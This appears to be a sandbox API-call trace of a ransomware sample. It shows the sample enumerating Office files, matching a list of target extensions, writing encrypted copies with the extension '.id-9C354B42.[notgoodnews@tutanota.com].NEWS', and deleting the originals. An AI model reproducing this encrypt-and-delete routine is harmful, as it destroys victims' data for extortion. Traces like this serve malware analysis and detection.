(lpString1=".VSL", lpString2=".NEWS") returned 1 [0269.801] lstrlenW (lpString="AEC.VSL") returned 7 [0269.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0269.944] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=69496) returned 1 [0269.945] CloseHandle (hObject=0x384) returned 1 [0269.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0270.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.139] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0270.139] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0270.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0270.140] GetLastError () returned 0x0 [0270.140] ReadFile (in: hFile=0x384, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x10f78, lpOverlapped=0x0) returned 1 [0270.148] WriteFile (in: hFile=0x3a0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x10f80, lpOverlapped=0x0) returned 1 [0270.156] ReadFile (in: hFile=0x384, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0270.156] WriteFile (in: hFile=0x3a0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xe2, lpOverlapped=0x0) returned 1 [0270.156] SetEndOfFile (hFile=0x3a0) returned 1 [0270.157] CloseHandle (hObject=0x3a0) returned 1 [0270.157] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0270.157] SetEndOfFile (hFile=0x384) returned 1 [0270.172] CloseHandle (hObject=0x384) returned 1 [0270.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1 [0270.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.174] lstrlenW (lpString=".doc") returned 4 [0270.174] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0270.174] lstrlenW (lpString=".docx") returned 5 [0270.174] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0270.174] lstrlenW (lpString=".pdf") returned 4 [0270.174] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0270.174] lstrlenW (lpString=".xls") returned 4 [0270.174] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0270.174] lstrlenW (lpString=".xlsx") returned 5 [0270.174] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0270.175] lstrlenW (lpString=".ppt") returned 4 [0270.175] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0270.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.175] lstrlenW (lpString=".zip") returned 4 [0270.175] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0270.175] lstrlenW (lpString=".rar") returned 4 [0270.175] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0270.175] lstrlenW (lpString=".bz2") returned 4 [0270.175] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0270.175] lstrlenW (lpString=".7z") returned 3 [0270.175] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0270.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.175] lstrlenW (lpString=".dbf") returned 4 [0270.175] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0270.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.176] lstrlenW (lpString=".1cd") returned 4 [0270.176] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0270.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.176] lstrlenW (lpString=".jpg") returned 4 [0270.176] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0270.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.176] lstrlenW (lpString=".doc") returned 4 [0270.176] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0270.176] lstrlenW (lpString=".docx") returned 5 [0270.177] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0270.177] lstrlenW (lpString=".pdf") returned 4 [0270.177] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0270.177] lstrlenW (lpString=".xls") returned 4 [0270.177] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0270.177] lstrlenW (lpString=".xlsx") returned 5 [0270.177] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0270.177] lstrlenW (lpString=".ppt") returned 4 [0270.177] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0270.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.177] lstrlenW (lpString=".zip") returned 4 [0270.177] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0270.178] lstrlenW (lpString=".rar") returned 4 [0270.178] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0270.178] lstrlenW (lpString=".bz2") returned 4 [0270.178] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0270.178] lstrlenW (lpString=".7z") returned 3 [0270.178] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0270.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.178] lstrlenW (lpString=".dbf") returned 4 [0270.178] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0270.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.178] lstrlenW (lpString=".1cd") returned 4 [0270.178] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0270.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0270.179] lstrlenW (lpString=".jpg") returned 4 [0270.179] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0270.179] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0270.179] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0270.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.180] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=24960) returned 1 [0270.181] CloseHandle (hObject=0x384) returned 1 [0270.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0270.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.182] lstrlenW (lpString=".doc") returned 4 [0270.183] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0270.183] lstrlenW (lpString=".docx") returned 5 [0270.183] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0270.183] lstrlenW (lpString=".pdf") returned 4 [0270.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0270.183] lstrlenW (lpString=".xls") returned 4 [0270.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0270.183] lstrlenW (lpString=".xlsx") returned 5 [0270.183] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0270.183] lstrlenW (lpString=".ppt") returned 4 [0270.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0270.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.183] lstrlenW (lpString=".zip") returned 4 [0270.184] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0270.184] lstrlenW (lpString=".rar") returned 4 [0270.184] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0270.184] lstrlenW (lpString=".bz2") returned 4 [0270.184] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0270.184] lstrlenW (lpString=".7z") returned 3 [0270.184] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0270.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.184] lstrlenW (lpString=".dbf") returned 4 [0270.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0270.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.506] lstrlenW (lpString=".1cd") returned 4 [0270.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0270.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.506] lstrlenW (lpString=".jpg") returned 4 [0270.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0270.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.506] lstrlenW (lpString=".doc") returned 4 [0270.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0270.506] lstrlenW (lpString=".docx") returned 5 [0270.506] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0270.507] lstrlenW (lpString=".pdf") returned 4 [0270.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0270.507] lstrlenW (lpString=".xls") returned 4 [0270.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0270.507] lstrlenW (lpString=".xlsx") returned 5 [0270.507] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0270.507] lstrlenW (lpString=".ppt") returned 4 [0270.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0270.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.507] lstrlenW (lpString=".zip") returned 4 [0270.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0270.507] lstrlenW (lpString=".rar") returned 4 [0270.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0270.507] lstrlenW (lpString=".bz2") returned 4 [0270.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0270.508] lstrlenW (lpString=".7z") returned 3 [0270.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0270.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.508] lstrlenW (lpString=".dbf") returned 4 [0270.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0270.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.508] lstrlenW (lpString=".1cd") returned 4 [0270.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0270.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0270.508] lstrlenW (lpString=".jpg") returned 4 [0270.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0270.509] lstrcmpiW (lpString1=".VSL", lpString2=".NEWS") returned 1 [0270.509] lstrlenW (lpString="BSTORM.VSL") returned 10 [0270.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0270.888] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=45968) returned 1 [0270.888] CloseHandle (hObject=0x3b0) returned 1 [0270.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0271.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0271.248] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0271.249] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0271.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0271.396] GetLastError () returned 0x0 [0271.396] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0xb390, lpOverlapped=0x0) returned 1 [0271.404] WriteFile (in: hFile=0x3b0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0271.409] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0271.410] WriteFile (in: hFile=0x3b0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xe8, lpOverlapped=0x0) returned 1 [0271.410] SetEndOfFile (hFile=0x3b0) returned 1 [0271.410] CloseHandle (hObject=0x3b0) returned 1 [0271.411] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0271.411] SetEndOfFile (hFile=0x3b8) returned 1 [0272.726] CloseHandle (hObject=0x3b8) returned 1 [0272.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0272.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.743] lstrlenW (lpString=".doc") returned 4 [0272.743] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0272.743] lstrlenW (lpString=".docx") returned 5 [0272.745] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0272.746] lstrlenW (lpString=".pdf") returned 4 [0272.746] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0272.746] lstrlenW (lpString=".xls") returned 4 [0272.746] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0272.746] lstrlenW (lpString=".xlsx") returned 5 [0272.746] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0272.746] lstrlenW (lpString=".ppt") returned 4 [0272.746] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0272.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.746] lstrlenW (lpString=".zip") returned 4 [0272.746] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0272.746] lstrlenW (lpString=".rar") returned 4 [0272.746] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0272.746] lstrlenW (lpString=".bz2") returned 4 [0272.747] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0272.747] lstrlenW (lpString=".7z") returned 3 [0272.747] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0272.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.747] lstrlenW (lpString=".dbf") returned 4 [0272.747] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0272.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.747] lstrlenW (lpString=".1cd") returned 4 [0272.747] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0272.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.747] lstrlenW (lpString=".jpg") returned 4 [0272.748] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.748] lstrlenW (lpString=".doc") returned 4 [0272.748] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0272.748] lstrlenW (lpString=".docx") returned 5 [0272.748] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0272.748] lstrlenW (lpString=".pdf") returned 4 [0272.748] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0272.749] lstrlenW (lpString=".xls") returned 4 [0272.749] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0272.749] lstrlenW (lpString=".xlsx") returned 5 [0272.749] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0272.749] lstrlenW (lpString=".ppt") returned 4 [0272.749] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0272.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.749] lstrlenW (lpString=".zip") returned 4 [0272.749] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0272.749] lstrlenW (lpString=".rar") returned 4 [0272.749] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0272.749] lstrlenW (lpString=".bz2") returned 4 [0272.749] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0272.749] lstrlenW (lpString=".7z") returned 3 [0272.750] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0272.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.750] lstrlenW (lpString=".dbf") returned 4 [0272.750] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0272.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.750] lstrlenW (lpString=".1cd") returned 4 [0272.750] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0272.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0272.750] lstrlenW (lpString=".jpg") returned 4 [0272.750] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0272.751] lstrcmpiW (lpString1=".gta", lpString2=".NEWS") returned -1 [0272.751] lstrlenW (lpString="Discussion14.gta") returned 16 [0272.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0272.752] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=362441) returned 1 [0272.752] CloseHandle (hObject=0x3b8) returned 1 [0272.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0272.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0272.754] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0272.754] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0272.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0272.755] GetLastError () returned 0x0 [0272.755] ReadFile (hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0) Thread: id = 67 os_tid = 0x64c [0193.615] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x962168 [0193.616] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a10048 [0193.618] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4bb0 [0193.618] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930ed0 [0193.618] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4bc8 [0193.618] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3b10020 [0193.619] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4be0 [0193.619] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4be0, Size=0x20) returned 0x8d3288 [0193.619] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4be0 [0193.619] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4be0, Size=0x20) returned 0x8d32b0 [0193.619] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.619] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.620] Wow64DisableWow64FsRedirection (in: OldValue=0x2f2ff58 | out: OldValue=0x2f2ff58*=0x0) returned 1 [0193.620] lstrlenW (lpString="kernel32.dll") returned 12 [0193.620] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.620] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.620] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.620] Sleep (dwMilliseconds=0x64) 